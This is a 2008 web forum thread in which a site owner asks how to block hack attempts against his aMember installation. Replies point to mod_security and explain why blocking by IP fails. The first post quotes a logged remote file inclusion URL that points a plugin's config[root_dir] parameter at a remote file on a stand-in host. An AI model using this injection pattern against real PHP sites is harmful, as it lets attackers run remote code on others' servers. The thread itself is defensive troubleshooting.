Welcome to WebmasterWorld Guest from 3.231.229.89

This page requires javascript to function properly. It seems that your browser does not have Javascript enabled. Please enable Javascript and press the Reload/Refresh button on your browser.

Forum Moderators: Ocean10000 & phranque

Message Too Old, No Replies

block hack attempts via htaccess?

David_M

1:09 pm on Feb 6, 2008 (gmt 0)

Full Member

joined:Mar 7, 2003
posts:301
votes: 0

I get a ton of hack attempts on my amember system using the following and similar urls:
/amember/plugins/payment/linkpoint/linkpoint.inc.php?config[root_dir]=http://safe-bx.example.com/test.txt?

Wondering if there's a way to deny site wide access to any url requesting
test.txt using .htaccess

Thanks.

[edited by: jdMorgan at 2:14 pm (utc) on Feb. 6, 2008]
[edit reason] example.com [/edit]

wilderness

3:10 pm on Feb 6, 2008 (gmt 0)

Senior Member

wilderness is a WebmasterWorld Top Contributor of All Time

joined:Nov 11, 2001
posts:5507
votes: 5

some recent and similar threads:
[webmasterworld.com...]
[webmasterworld.com...]

Many thanks to Jim.

Frank_Rizzo

3:55 pm on Feb 6, 2008 (gmt 0)

Senior Member

joined:June 17, 2002
posts:1189
votes: 6

A good solution is modsecurity.

It will stop this and attacks you don't already know about.

Easily installs / integrates with apache. Needs a bit of dry run testing at first but once installed you just leave it turn away the bad guys at the door.

David_M

4:26 am on Feb 7, 2008 (gmt 0)

Full Member

joined:Mar 7, 2003
posts:301
votes: 0

Thanks. Installed modsecurity.
Any suggestion on a config for blocking the above?

Frank_Rizzo

11:10 am on Feb 7, 2008 (gmt 0)

Senior Member

joined:June 17, 2002
posts:1189
votes: 6

Modsecurity blocks it from doing what it is trying to do.

Mod security is telling you an exploit attempt was detected and it issued a 500 / 40x error (not that the transmitting end would recognise it as they are fire and forget).

To block it totally from accessing your server you need to deny the ip address but you do not know that before hand as different proxies / compromised devices are being used everytime.